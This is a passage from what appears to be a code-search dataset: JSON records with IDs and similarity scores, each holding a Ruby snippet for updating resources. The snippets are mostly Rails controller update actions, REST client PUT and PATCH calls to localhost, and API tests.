Net::HTTPSuccess\r\n\t\t\treturn \"#{response.code} OK\"\r\n\t\telse\r\n\t\t\treturn \"#{response.code} ERROR\"\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "93c040a3d22e573d7546471938e1db71", "score": "0.5360042", "text": "def update\n @bottle = Bottle.find(params[:id])\n\n respond_to do |format|\n if @bottle.update_attributes(params[:bottle])\n flash[:notice] = 'Bottle was successfully updated.'\n format.html { redirect_to(@bottle) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bottle.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2659977d229e2aa987b1d3625d3e64e8", "score": "0.53458184", "text": "def update\n @xray = Xray.find(params[:id])\n\n respond_to do |format|\n if @xray.update_attributes(params[:xray])\n format.html { redirect_to(@xray, :notice => 'Xray was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @xray.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a21658e8869b48b877bfbe57de8fb717", "score": "0.5333627", "text": "def update_contact\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts/3'\n ).to_s\n\n puts RestClient.put(\n url,\n { Contact: { email: \"wacky_new_email@coolstuff.com\" } } )\n \nend", "title": "" }, { "docid": "2a753b2cba3317f2c61ee051d24814cb", "score": "0.5315202", "text": "def update\n @say = Say.find(params[:id])\n\n respond_to do |format|\n if @say.update_attributes(params[:say])\n format.html { redirect_to(@say, :notice => 'Say was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @say.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d0fba1bf3c5e1dc0008c27994e1dabe4", "score": "0.53076535", "text": "def test_should_update_blog_post_via_API_XML\r\n get \"/logout\"\r\n put \"/blog_posts/1.xml\", :blog_post => {:title => 'API Test Post',\r\n :body => 'API Test Body',\r\n :published => true,\r\n :featured => false,\r\n :summary => 'Blog Post Summary',\r\n :url => 'http://www.apiblogpost.com',\r\n :guid => '22222' }\r\n assert_response 401\r\n end", "title": "" }, { "docid": "ab05d2d3850ab650bb86caa53f0130b7", "score": "0.5291061", "text": "def update\n headers = self.class.headers.merge 'Accept' => 'application/xml'\n connection.post(element_path(prefix_options.merge(:action_hack => :update)), encode, headers).tap do |response|\n load_attributes_from_response(response)\n end\n end", "title": "" }, { "docid": "8e18db431964c254de53caa41795b702", "score": "0.5288381", "text": "def put *args\n make_request :put, *args\n end", "title": "" }, { "docid": "6283d5b0efd676645cd5b91fb528018a", "score": "0.5281411", "text": "def favorite\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts/2/favorite'\n ).to_s\n\n puts RestClient.patch(\n url,{}\n )\nend", "title": "" }, { "docid": "c99238efa98a6e05678c5d303dd5515d", "score": "0.5278445", "text": "def update_ticket(ticket_num)\n \n url = ['/tickets/',ticket_num,'.xml'].join\n result = @connection.put url, \n (\n xml = Builder::XmlMarkup.new( :indent => 2 )\n xml.instruct! :xml, :encoding => \"UTF-8\"\n xml.ticket do |t|\n t.tag! \"solved-at\", Time.now\n t.tag! \"status-id\", \"3\"\n end\n )\n end", "title": "" }, { "docid": "39d9a84ac33cfb459e860aa8a16919c3", "score": "0.52770567", "text": "def update\n respond_to do |format|\n if @bubble_game.update(bubble_game_params)\n format.html { redirect_to @bubble_game, notice: 'Bubble game was successfully updated.' }\n format.json { render :show, status: :ok, location: @bubble_game }\n else\n format.html { render :edit }\n format.json { render json: @bubble_game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8a1fcbdae3046e2102f533f681b61c66", "score": "0.52569157", "text": "def update_contact\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts/3'\n ).to_s\n\n puts RestClient.patch(\n url, {contact: {name: \"Josh\", email: \"josh@gmail.com\"}} )\nend", "title": "" }, { "docid": "18ab900b035bae7ae05e4049ad5bed83", "score": "0.525346", "text": "def test_should_update_friendship\n login_as(:jane)\n put :update, :user_id => users(:jane).id, :id => 1, :friendship => { }\n\n assert_response :success\n end", "title": "" }, { "docid": "9befce453483ca4920c8f1c62a831a6c", "score": "0.5247739", "text": "def update!\n !! api_request(:put, \"/subscribers/#{self.customer_id}.xml\", :body => self.to_xml(:exclude => [:customer_id]))\n end", "title": "" }, { "docid": "5a709be54da030e531e9297b7bde699d", "score": "0.5241488", "text": "def check_update_feed\n puts \"\\r\\n\\r\\nUpdate Feed:\"\n uri = URI.parse(\"http://0.0.0.0:8080/feed.json\")\n Net::HTTP.start(uri.host, uri.port) do |http|\n headers = {'Content-Type' => 'application/x-www-form-urlencoded'}\n put_data = \"key=1&uid=1&title=SomethingDifferent\"\n res = http.send_request('PUT', uri.request_uri, put_data, headers) \n puts res.body\n end\nend", "title": "" }, { "docid": "519e1dda80f7a0e77edbf3dd1448166c", "score": "0.5239804", "text": "def update\n respond_to do |format|\n if @bubble_category.update(bubble_category_params)\n format.html { redirect_to @bubble_category, notice: 'Bubble category was successfully updated.' }\n format.json { render :show, status: :ok, location: @bubble_category }\n else\n format.html { render :edit }\n format.json { render json: @bubble_category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ed46275f8f6f9727cd9c5632ce04964c", "score": "0.5229142", "text": "def update\n # Given the ID and Trend_Name and Comment Text, update\n uuid = params[:uuid]\n topic = params[:topic]\n comment = params[:comment]\n location_id = params[:location_id]\n\n # # to change later\n # uuid = \"91de7ee4-1cde-4aa8-9d0e-e16f46236d2f\"\n # comment = \"this is awesome111111!\"\n # topic = \"soytanrudo\"\n\n url= \"http://localhost:8080\"\n get_str = \"exist/atom/content/4302Collection/\"+location_id+\"/?id=urn:uuid:%s\"%uuid\n r = RestClient::Resource.new url\n res = r[get_str].get\n #puts res\n\n atom_string = res\n user_comment = comment\n\n atom_xml = Nokogiri::XML(atom_string)\n\n comment_ns = \"http://my.superdupertren.ds\"\n\n # assume the item exists and that there's only one of them\n topic_node = atom_xml.xpath(\"//tw:trend[@topic='\"+topic+\"']\", {\"tw\" => \"http://api.twitter.com\"})[0]\n\n puts \"Topic\"\n puts topic\n puts \"Comment\"\n puts user_comment\n\n comment_nodes = topic_node.xpath(\"//tw:trend[@topic='\"+topic+\"']/cm:user_comment\", {\"tw\" => \"http://api.twitter.com\", \"cm\" => comment_ns})\n if (comment_nodes.first)\n # Find user_comment node first and edit it\n comment_nodes.first.content = user_comment\n puts \"we found the comment nodes!!!!\"\n else\n # Create new node and add\n new_node = Nokogiri::XML::Node.new(\"user_comment\", atom_xml)\n new_node.add_namespace(nil, comment_ns)\n new_node.content = user_comment\n topic_node.add_child(new_node)\n end\n\n #update entry\n #puts atom_xml.to_xml\n\n url= \"http://localhost:8080\"\n r = RestClient::Resource.new url\n post_str = \"exist/atom/edit/4302Collection/\"+location_id+\"/?id=urn:uuid:%s\" % uuid\n res = r[post_str].put atom_xml.to_xml, :content_type => \"application/atom+xml\"\n\n #puts res\n render :xml => res\n\n end", "title": "" }, { "docid": "6eccf0cb1ebc7404a9ae8d73fad0c91a", "score": "0.52231526", "text": "def put(*args)\n request :put, *args\n end", "title": "" }, { "docid": "ca503f9c245ba12b0ddf82b577c9b306", "score": "0.521588", "text": "def put!\n request = Net::HTTP::Put.new(uri)\n request.body = @params.to_json\n\n response = get_response(request)\n GunBroker::Response.new(response)\n end", "title": "" }, { "docid": "db9c64df88fd631393a0359c5f0f99a9", "score": "0.5213044", "text": "def update_webhook(webhook_id, request)\n start.uri('/api/webhook')\n .url_segment(webhook_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end", "title": "" }, { "docid": "c38378c6f892df1ebeb0454bd3529622", "score": "0.5188616", "text": "def update\n @verb = Verb.find(params[:id])\n\n respond_to do |format|\n if @verb.update_attributes(params[:verb])\n flash[:notice] = 'Verb was successfully updated.'\n format.html { redirect_to(@verb) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @verb.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "94c043b26d5e776a8c1e7efcab5165ed", "score": "0.51858187", "text": "def update\n @company.update_attributes!(params[:company])\n \n respond_to do |wants|\n flash[:notice] = 'Participant was successfully updated.'\n wants.html { redirect_to(companies_url) }\n wants.xml { head :ok }\n end\n end", "title": "" }, { "docid": "27096800d14893529f640b6cf4566aba", "score": "0.51802844", "text": "def update\n connection.put(\"/todo_lists/#{id}.xml\",\n \"<todo-list>\n <name>#{name}</name>\n <description>#{description}</description>\n <milestone_id>#{milestone_id}</milestone_id>\n </todo-list>\",\n XML_REQUEST_HEADERS)\n end", "title": "" }, { "docid": "227304d39d162912db014d5925c44540", "score": "0.517874", "text": "def create\n @bubble = Bubble.new(params[:bubble])\n\n respond_to do |format|\n if @bubble.save\n format.html { redirect_to @bubble, notice: 'Bubble was successfully created.' }\n format.json { render json: @bubble, status: :created, location: @bubble }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bubble.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d61a25d69ed10b03601d4f17ba7d9ef3", "score": "0.51778424", "text": "def update\n #RAILS_DEFAULT_LOGGER.debug(\"******** REST Call to CRMS: Updating #{self.class.name}:#{self.id}\")\n #RAILS_DEFAULT_LOGGER.debug(caller[0..5].join(\"\\n\")) \n response = connection.put(element_path(prefix_options), to_xml, self.class.headers)\n save_nested\n load_attributes_from_response(response)\n merge_saved_nested_resources_into_attributes\n response\n end", "title": "" }, { "docid": "62993aaeb87b1f88aeb6f34bd6b3e3ff", "score": "0.51772356", "text": "def update\n followship = Followship.find(params[:followship_id])\n if followship.update_attribute(:feed_id, params[:feed_id])\n render :json => {:ok => true}, :head => :no_content\n else\n render :json => {:ok => false, :message => followship.errors}, :status => :unprocessable_entity\n end\n end", "title": "" }, { "docid": "238fd956be713471aa406c76bf19254a", "score": "0.51732975", "text": "def test_should_update_status_post_via_API_XML\r\n get \"/logout\"\r\n put \"/status_posts/1.xml\", :status_post => {:body => 'API Status Post 1' }\r\n assert_response 401\r\n end", "title": "" }, { "docid": "214240301a07a947ae371b647b4d26d2", "score": "0.51630384", "text": "def update_webhook(webhook_id, request)\n start.uri('/api/webhook')\n .url_segment(webhook_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end", "title": "" }, { "docid": "6cbbddc73e7fbb152fae713f712777b3", "score": "0.51574725", "text": "def update\n update_resource(@tomato)\n end", "title": "" }, { "docid": "4227d5d374484ee0bb25af5c3248e676", "score": "0.5155297", "text": "def update\n respond_to do |format|\n if @twoot.update(twoot_params)\n format.html { redirect_to @twoot, notice: \"Twoot was successfully updated.\" }\n format.json { render :show, status: :ok, location: @twoot }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @twoot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9b3b3c1b5044f7b5389d70034660533f", "score": "0.51468444", "text": "def update\n respond_to do |format|\n if @xml_builder.update(xml_builder_params)\n format.html { redirect_to @xml_builder, notice: 'Xml builder was successfully updated.' }\n format.json { render :show, status: :ok, location: @xml_builder }\n else\n format.html { render :edit }\n format.json { render json: @xml_builder.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a76be471aac42a29a3e88013c863a845", "score": "0.51453054", "text": "def update\n @verb = Verb.find(params[:id])\n\n respond_to do |format|\n if @verb.update_attributes(params[:verb])\n format.html { redirect_to(@verb, :notice => 'Verb was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @verb.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad8af22ab6efd0061e555609453ca2a6", "score": "0.51430005", "text": "def update!\n raise RuntimeError.new(\"Can't update a non-persisted object\") if !persisted?\n self.message = self.class.client.request path: \"#{self.class.base_path}/#{id}\",\n method: Net::HTTP::Put,\n message: message,\n response_type: self.class.message\n end", "title": "" }, { "docid": "ad8af22ab6efd0061e555609453ca2a6", "score": "0.51430005", "text": "def update!\n raise RuntimeError.new(\"Can't update a non-persisted object\") if !persisted?\n self.message = self.class.client.request path: \"#{self.class.base_path}/#{id}\",\n method: Net::HTTP::Put,\n message: message,\n response_type: self.class.message\n end", "title": "" }, { "docid": "04d0d5b0b680eae3173aba16b391a767", "score": "0.5138628", "text": "def sendtweet(newtweet)\nclient.update(newtweet) \nend", "title": "" }, { "docid": "d6607de8935ebd99186eca0e7bf22354", "score": "0.5131168", "text": "def write(content)\n @client.update(content) \nend", "title": "" }, { "docid": "dd3cd2095af1713b6a86d6515db81de4", "score": "0.5122871", "text": "def put_update(options = {})\n options[:id] ||= @fax.id\n options[:fax] ||= @attributes\n\n put :update,options\n end", "title": "" }, { "docid": "2312ff90f9623a2ae2e826ad101d9597", "score": "0.51197684", "text": "def update(attributes)\n request = Request.new(\n \"/#{ space.id }/webhook_definitions/#{ id }\",\n self.class.endpoint_parameters(attributes),\n id = nil,\n version: sys[:version]\n )\n response = request.put\n result = ResourceBuilder.new(response, {}, {})\n refresh_data(result.run)\n end", "title": "" }, { "docid": "98c74a92167576a4143144db106e62cd", "score": "0.5113358", "text": "def update\n @talk = Talk.find(params[:id])\n\n respond_to do |format|\n if @talk.update_attributes(params[:talk])\n format.html { redirect_to(@talk, :notice => 'Talk was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @talk.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "98c74a92167576a4143144db106e62cd", "score": "0.5113358", "text": "def update\n @talk = Talk.find(params[:id])\n\n respond_to do |format|\n if @talk.update_attributes(params[:talk])\n format.html { redirect_to(@talk, :notice => 'Talk was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @talk.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ca989049fced91b747e7b2e51025de49", "score": "0.51087946", "text": "def update\n @box = Box.find(params[:id])\n\n respond_to do |format|\n if @box.update_attributes(params[:box])\n flash[:notice] = 'Box was successfully updated.'\n format.html { redirect_to(@box) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @box.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0e407d3d910caa4ba75a60b88865c0af", "score": "0.5103625", "text": "def update( id, attributes = {} )\n body = attributes.to_json\n contact_method = Virtuous::Relationship.new JSON.parse(connection.put(\"/Relationship/#{id}\", body).body)\n end", "title": "" }, { "docid": "b047bbefe8d3f70b87831a58c0aeaca0", "score": "0.51026726", "text": "def update uid\n update_json = JSON.parse(File.read('./data/live_stream/update_example.json'))\n response = call_api method: :patch, id: uid, body: update_json\n ap JSON.parse(response.body)\n return response\n end", "title": "" }, { "docid": "7b71ec8136d0558697cc3ee7a458f054", "score": "0.508217", "text": "def update\n @twoot = Twoot.find(params[:id])\n\n respond_to do |format|\n if @twoot.update_attributes(params[:twoot])\n format.html { redirect_to @twoot, notice: 'Twoot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @twoot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6156d4116c58e5060825c75108125c1d", "score": "0.5073483", "text": "def show\n @bubble = Bubble.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bubble }\n end\n end", "title": "" }, { "docid": "dc31e10974b4050b63f8d02ed7fef4cf", "score": "0.5063708", "text": "def post_updates(params)\n @client.post(\"#{path}/updates\", nil, params, \"Content-Type\" => \"application/json\")\n end", "title": "" }, { "docid": "94af3cff55c83870131313ebf4d17052", "score": "0.5063102", "text": "def update\n @actor = Actor.find(params[:id])\n\n respond_to do |format|\n if @actor.update_attributes(params[:actor])\n flash[:notice] = 'Actor was successfully updated.'\n format.html { redirect_to actor_url(@actor) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @actor.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "608d2f58e93e2a844cba814b363df9ef", "score": "0.5062244", "text": "def update(id, name=\"Updated Name\", extension=0000)\n xml_req =\"{\\\"device\\\":{ \\\"id\\\":#{id},\\\"number\\\":\\\"#{number}\\\",\\\"name\\\":\\\"#{name}\\\",\\\"address\\\":\\\"#{address}\\\"}}\"\n \n \n request = Net::HTTP::Put.new(\"#{@url}/#{id}.json\")\n request.add_field \"Content-Type\", \"application/json\"\n request.body = xml_req\n \n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n \n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "title": "" }, { "docid": "1e28e53cc6a046657398add19da32118", "score": "0.5059311", "text": "def put(path, arguments = {})\n Mavenlink.logger.note \"Started PUT /#{path} with #{arguments.inspect}\"\n parse_request(connection.put(path, arguments))\n end", "title": "" }, { "docid": "fdc599d884ec212470b7f79692c9c90f", "score": "0.5055843", "text": "def destroy\n @bubble = Bubble.find(params[:id])\n @bubble.destroy\n\n respond_to do |format|\n format.html { redirect_to bubbles_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "870f8477b08b8fdd1cb1fcf8dee73432", "score": "0.50551015", "text": "def update\n respond_to do |format|\n if @talk.update_attributes(params[:talk])\n flash[:notice] = 'Talk was successfully updated.'\n format.html { redirect_to(admin_venue_talks_path(@venue)) }\n format.xml { head :ok }\n else\n format.html { render :action => 'edit' }\n format.xml { render :xml => @talk.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "465bc99d3c7155467b099302f90fd1cd", "score": "0.50548804", "text": "def update\n respond_to do |format|\n format.html {render :nothing => true, :status => 204}\n format.xml {render :nothing => true, :status => 204}\n format.json {render :nothing => true, :status => 204}\n end\n end", "title": "" }, { "docid": "2ebc4fe3273579434a4edc7d7229731c", "score": "0.5041001", "text": "def update\n authorize @webhook\n\n if @webhook.update(webhook_params)\n @webhook.create_activity :update, owner: current_user\n respond_with @namespace, @webhook\n else\n respond_with @webhook.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "d5eaea298e64625a71a15a970f3b75ed", "score": "0.5038063", "text": "def patch *args\n make_request :patch, *args\n end", "title": "" }, { "docid": "6be19646a1c7b2bae970008f4e3204d6", "score": "0.5030751", "text": "def update\n @draft_company_category = DraftCompanyCategory.find(params[:id])\n\n respond_to do |format|\n if @draft_company_category.update_attributes(params[:draft_company_category])\n\n format.xml \n else\n \n format.xml \n end\n end\n end", "title": "" }, { "docid": "aa0b87a16ede7353758305dbbaf57c22", "score": "0.5028534", "text": "def put(*a) route 'PUT', *a end", "title": "" }, { "docid": "5eb03aba1823c9449c09b8ea0f4aca54", "score": "0.50263196", "text": "def bubble_params\n params.require(:bubble).permit(:title, :body, :tag)\n end", "title": "" }, { "docid": "07918d5a67562e424f50e841ebcd6a84", "score": "0.50249183", "text": "def put(path , params = {})\n request(:put , path , params)\n end", "title": "" }, { "docid": "75257bcacbc16f7963754f7d8ca9fb70", "score": "0.50227576", "text": "def update\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n \n \n format.xml \n else\n \n format.xml { render :xml => @company.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7bafe85ac89300dfc09fc1d8dd28429b", "score": "0.5022145", "text": "def set_bubble_status\n @bubble_status = BubbleStatus.find(params[:id])\n end", "title": "" }, { "docid": "545dadbe32aa3d9d0edf1d22293783fc", "score": "0.50186837", "text": "def test_put_existing\n request = Http::Request.new('PUT', '/file1', {}, 'bar')\n\n response = self.request(request)\n\n assert_equal(204, response.status)\n\n assert_equal(\n 'bar',\n @server.tree.node_for_path('file1').get\n )\n\n assert_equal(\n {\n 'X-Sabre-Version' => [Version::VERSION],\n 'Content-Length' => ['0'],\n 'ETag' => [\"\\\"#{Digest::MD5.hexdigest('bar')}\\\"\"]\n },\n response.headers\n )\n end", "title": "" }, { "docid": "2cb9392570757ba035a52d17c029a3e2", "score": "0.50181675", "text": "def update\n \n \t@talk = Talk.find(params[:id])\n respond_to do |format|\n if @talk.update_attributes(params[:talk])\n flash[:notice] = 'Talk was successfully updated.'\n #format.html { redirect_to(@talk) }\n format.html { redirect_to :back }\n #format.html { render :action => \"show\" }\n format.xml { head :ok }\n else\n format.html { render :action => \"show\" }\n format.xml { render :xml => @talk.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bd70045cd97467789d70ad0eae926b13", "score": "0.501712", "text": "def update(args)\n @service.request({:method => :POST,\n :namespace => @namespace,\n :resource => @resource + [name],\n :body => args})\n self\n end", "title": "" }, { "docid": "8415acb983da3addb269a79e461bba00", "score": "0.50146013", "text": "def put(uri, options = {})\n request :put, options\n end", "title": "" }, { "docid": "884c03b83f68ba38b547fb27f61b15f2", "score": "0.50124824", "text": "def update(args)\n @service.context.post(@path, args)\n self\n end", "title": "" }, { "docid": "c7d3cd0f218c42e01dbd0246ab7b00c9", "score": "0.50097483", "text": "def put(path, params={}); make_request(:put, host, port, path, params); end", "title": "" }, { "docid": "ca9fd5f1d76d6a1a8f9b0a89c64e0aa5", "score": "0.5002127", "text": "def post_update(params)\n @client.post(\"#{path}/update\", nil, params, \"Content-Type\" => \"application/json\")\n end", "title": "" }, { "docid": "ed19e7652dae2b33650b4d1da223aa5e", "score": "0.5001972", "text": "def update\n @chatter = Chatter.find(params[:id])\n\n respond_to do |format|\n if @chatter.update_attributes(params[:chatter])\n flash[:notice] = 'Chatter was successfully updated.'\n format.html { redirect_to(@chatter) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @chatter.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4905dcc90d222e149baae27f543c3fa6", "score": "0.50012463", "text": "def upsert()\n self.class.post('upsert', {}, self.to_xml())\n end", "title": "" }, { "docid": "12bbad04a8c6e10ba240594ed4352fd7", "score": "0.49991906", "text": "def update\n respond_to do |format|\n format.xml { head :method_not_allowed }\n format.json { head :method_not_allowed }\n end\n end", "title": "" }, { "docid": "12bbad04a8c6e10ba240594ed4352fd7", "score": "0.49991906", "text": "def update\n respond_to do |format|\n format.xml { head :method_not_allowed }\n format.json { head :method_not_allowed }\n end\n end", "title": "" }, { "docid": "12bbad04a8c6e10ba240594ed4352fd7", "score": "0.49991906", "text": "def update\n respond_to do |format|\n format.xml { head :method_not_allowed }\n format.json { head :method_not_allowed }\n end\n end", "title": "" }, { "docid": "1036cf9c12dfcd7b9de1de645086e08a", "score": "0.49981105", "text": "def update!\n @update_called = true\n self.class.put( uri, :body => self.to_json )\n nil\n end", "title": "" }, { "docid": "6103785911f6ff93916c70abb249828b", "score": "0.49971265", "text": "def update_messenger(messenger_id, request)\n start.uri('/api/messenger')\n .url_segment(messenger_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end", "title": "" }, { "docid": "1e8f5bbf157fe96c71131c90680c6df9", "score": "0.49969387", "text": "def update\n @incoming = Incoming.find(params[:id])\n\n respond_to do |format|\n if @incoming.update_attributes(params[:incoming])\n format.html { redirect_to @incoming, notice: 'Документ успешно обновлен.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @incoming.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b4eba81561ed7cbc4fd565ff9c145125", "score": "0.4996663", "text": "def update\n @sweet = Sweet.find(params[:id])\n\n respond_to do |format|\n if @sweet.update_attributes(params[:sweet])\n format.html { redirect_to(@sweet, :notice => 'Sweet was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sweet.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1308e2aec2b24f8d3f1fbc1a120db8f6", "score": "0.49957138", "text": "def update\n respond_to do |format|\n if @tag.update_attributes(params[:post])\n format.xml { head :ok }\n else\n format.xml { render :xml => @tag.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cff2b5d04bc1d4978e0447009f7ffcd2", "score": "0.49924427", "text": "def update\n #ensure empty groups get cleared out\n if !params['wsdl']['xsd_ids']\n @wsdl.xsds.clear\n end\n\n respond_to do |format|\n if @wsdl.update_attributes(params[:wsdl])\n flash[:notice] = 'Wsdl was successfully updated.'\n format.html { redirect_to wsdl_url(@wsdl) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @wsdl.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "91e222f5e4ec3e3bdb488c250d77c6dd", "score": "0.4988817", "text": "def update\n @component = Component.find(params[:component][:id])\n\n respond_to do |format|\n if @component.update_attributes(params[:component])\n format.xml { head :ok }\n end\n end\n end", "title": "" }, { "docid": "a616475fe2846edd4fb80aa98415ea61", "score": "0.4988645", "text": "def update\n @broker = Broker.find(params[:id])\n\n respond_to do |format|\n if @broker.update_attributes(params[:broker])\n flash[:notice] = 'Broker was successfully updated.'\n format.html { redirect_to(@broker) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @broker.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cd265dadd984a6c8ea298437f33066af", "score": "0.4988634", "text": "def update\n @tag = Tag.find(params[:id])\n\n respond_to do |format|\n if @tag.update_attributes(params[:tag])\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.xml { render :xml => @tag.errors, :status => :unprocessable_entity }\n format.json { render :json => @tag.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7bee456abd1a76dbbf91a2e300549dc7", "score": "0.4984284", "text": "def destroy\n @bubble.destroy\n respond_to do |format|\n format.html { redirect_to bubbles_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e2e55a6ecb4c00b7fe18a670cc021207", "score": "0.49836475", "text": "def put_entry(id,summary)\n xml = <<DATA\n <entry xmlns=\"http://purl.org/atom/ns#\">\n <summary type=\"text/plain\"></summary>\n </entry>\nDATA\n\n doc = REXML::Document.new(xml)\n doc.elements['/entry/summary'].add_text(summary)\n\n # REXML -> String\n data=String.new\n doc.write(data)\n\n #make request\n path=\"/atom/edit/#{id}\"\n req=Net::HTTP::Put.new(path)\n req['Accept']= 'application/x.atom+xml,application/xml,text/xml,*/*',\n req['X-WSSE']= @credential_string\n\n #YHAAAA!!!\n res = @http.request(req,data)\n return res\n end", "title": "" } ]